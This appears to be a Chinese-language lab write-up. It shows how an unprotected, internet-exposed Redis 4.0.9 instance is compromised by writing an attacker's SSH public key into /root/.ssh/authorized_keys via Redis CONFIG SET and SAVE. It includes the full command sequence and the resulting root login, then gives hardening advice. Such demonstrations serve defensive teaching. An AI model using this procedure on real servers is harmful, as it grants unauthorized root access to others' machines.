在公网暴露端口的无防护Redis实例,很容易成为攻击者直接攻破的跳板,下面讲述一下攻击过程。
在阿里云上分别申请两台服务器,分别是 肉鸡: 172.17.171.122
攻击者:172.17.171.123
配置无防护的肉鸡 登陆172.17.171.122
1 2 3 4 5 root@Target:~# wget http://download.redis.io/releases/redis-4.0.9.tar.gz root@Target:~# tar xzf redis-4.0.9.tar.gz root@Target:~# cd redis-4.0.9 root@Target:~# make root@Target:~# vim redis.conf
编辑redis.conf,把 bind 127.0.0.1 注释掉,以开放端口到外部端口, 并把protected-mode yes
改为protected-mode no
,使得外界不用密码也能够访问到此redis实例。
1 src/redis-server redis.conf
实施攻击 登陆172.17.171.123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 root@Atacker:~# apt-get update root@Atacker:~# apt-get install redis-tools root@Atacker:~# ssh-keygen # 需相应的全默认回车 root@Atacker:~# (echo -e "\n";cat .ssh/id_rsa.pub;echo -e "\n") > pubkey.txt root@Atacker:~# cat pubkey.txt | redis-cli -h 172.17.171.122 -x set "pubkey" root@Atacker:~# redis-cli -h 172.17.171.122 172.17.171.122:6379> config set dir /root/.ssh 172.17.171.122:6379> config set dbfilename "authorized_keys" 172.17.171.122:6379> save 172.17.171.122:6379> exit root@Atacker:~# ssh root@172.17.171.122 Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-105-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Welcome to Alibaba Cloud Elastic Compute Service ! Last login: Fri Apr 6 15:33:41 2018 from 172.17.171.123 root@Target:~#
原理 1 2 3 4 5 6 7 8 9 10 root@Target:~# cat .ssh/authorized_keys REDIS0008� redis-ver4.0.9� redis-bits�@�ctime�H#�Zused-mem�� � aof-preamble���pubkeyA� ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7xaxGi7ZQAMX7YJRiyBDdz1RGIaPiSl+LHk8AfIvBjFja3GTRy+YqYk/DrpG/AKpNW27nW4jxckkFuCxpmkXNCkl80EQfI4r1PqhW2qoTpYwX5EJlRP6W5oytS5qqMnNN9mGP3u3/VT7lakk57NjFusdAV00sxMWz/kvgi3ZBxMhtWizLDR04dY3+2uLPwu/0GK10iw1dBoRCig2AAFAwMUwUrxAfb7D0YkqD2tDYz0N3u9TzzXGXHrZEi/nFaBRIqKZEr5RT5gSQLV5BGQud5DsuMw04bt4rr1cvWSLUbFySyvtZh4EVZsYjsAV0rd+SNQ0vbel0ThbpWbALyFXd root@Atacker a� ��x"����r
攻击者利用redis,把自己的公钥写到了.ssh/authroized_keys文件内,再使用ssh登陆的时候,便被认为是有权限的登陆者,从而获得了root账户的完全控制权。
反思 要禁止这些漏洞,要做以下检查
不要使用root用户直接建立实例,可以为redis专门设置一个账户,或者用其他无sudo权限的用户开启redis-server,这样即使被攻破,影响也会小一些。
没有特殊需求的话,防火墙不要轻易暴露公网端口,实例不要轻易绑定0.0.0.0,不要轻易使用默认6379端口,不要轻易把protected-mode设为no。
如果连内网安全都无法保证,请设置密码。这是不推荐的策略,因为能够用防火墙防住的,尽量不要用密码防,毕竟密码有理论上的可破解性。
用户的.ssh内的文件都应该权限设置为400,防止被别的用户篡改。
说明
以上实例、IP、公钥都是临时申请的,不会再使用,业已删除,请不要乱试。
实例都是基于纯净版debian 9.2 64bit,测试以上内容不需要额外做任何操作。